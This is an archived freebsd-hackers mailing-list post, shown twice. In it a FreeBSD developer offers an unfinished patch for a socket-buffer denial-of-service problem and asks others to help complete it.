It probably needs work still, and I'd really appreciate someone helping finish it, but I have a solution. http://www.FreeBSD.org/~green/sbsize.patch -- Brian Fundakowski Feldman / Any sufficiently advanced bug is\ gr...@freebsd.org | indistinguishable from a feature. | FreeBSD: The Power to Serve!\-- Rich Kulawiec / To Unsubscribe: send mail to majord...@freebsd.org with unsubscribe freebsd-hackers in the body of the message
sockbuf DoS
It probably needs work still, and I'd really appreciate someone helping finish it, but I have a solution. http://www.FreeBSD.org/~green/sbsize.patch -- Brian Fundakowski Feldman / "Any sufficiently advanced bug is\ [EMAIL PROTECTED] | indistinguishable from a feature." | FreeBSD: The Power to Serve!\-- Rich Kulawiec / To Unsubscribe: send mail to [EMAIL PROTECTED] with "unsubscribe freebsd-hackers" in the body of the message
